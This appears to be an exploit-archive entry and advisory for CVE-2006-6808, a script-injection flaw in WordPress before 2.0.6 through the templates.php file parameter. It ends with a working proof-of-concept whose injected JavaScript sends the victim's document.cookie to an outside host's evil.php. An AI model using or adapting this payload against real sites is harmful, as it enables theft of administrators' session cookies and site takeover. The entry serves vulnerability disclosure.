WordPress Core 1.x/2.0.x - 'template.php' HTML Injection

Author: David Kierznowski
type: webapps
platform: php
port: 
date_added: 2006-12-27 
date_updated: 2013-11-01 
verified: 1 
codes: CVE-2006-6808;OSVDB-31578 
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source: https://www.securityfocus.com/bid/21782/info

Wordpress is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to 2.0.6 are vulnerable to this issue.

< img src='https://wordpress-site/wp/wp-admin/templates.php?file=< img src=%27%27 onerror="javascript: var s=(document.location.toString().charAt(6)); var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27); document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">' >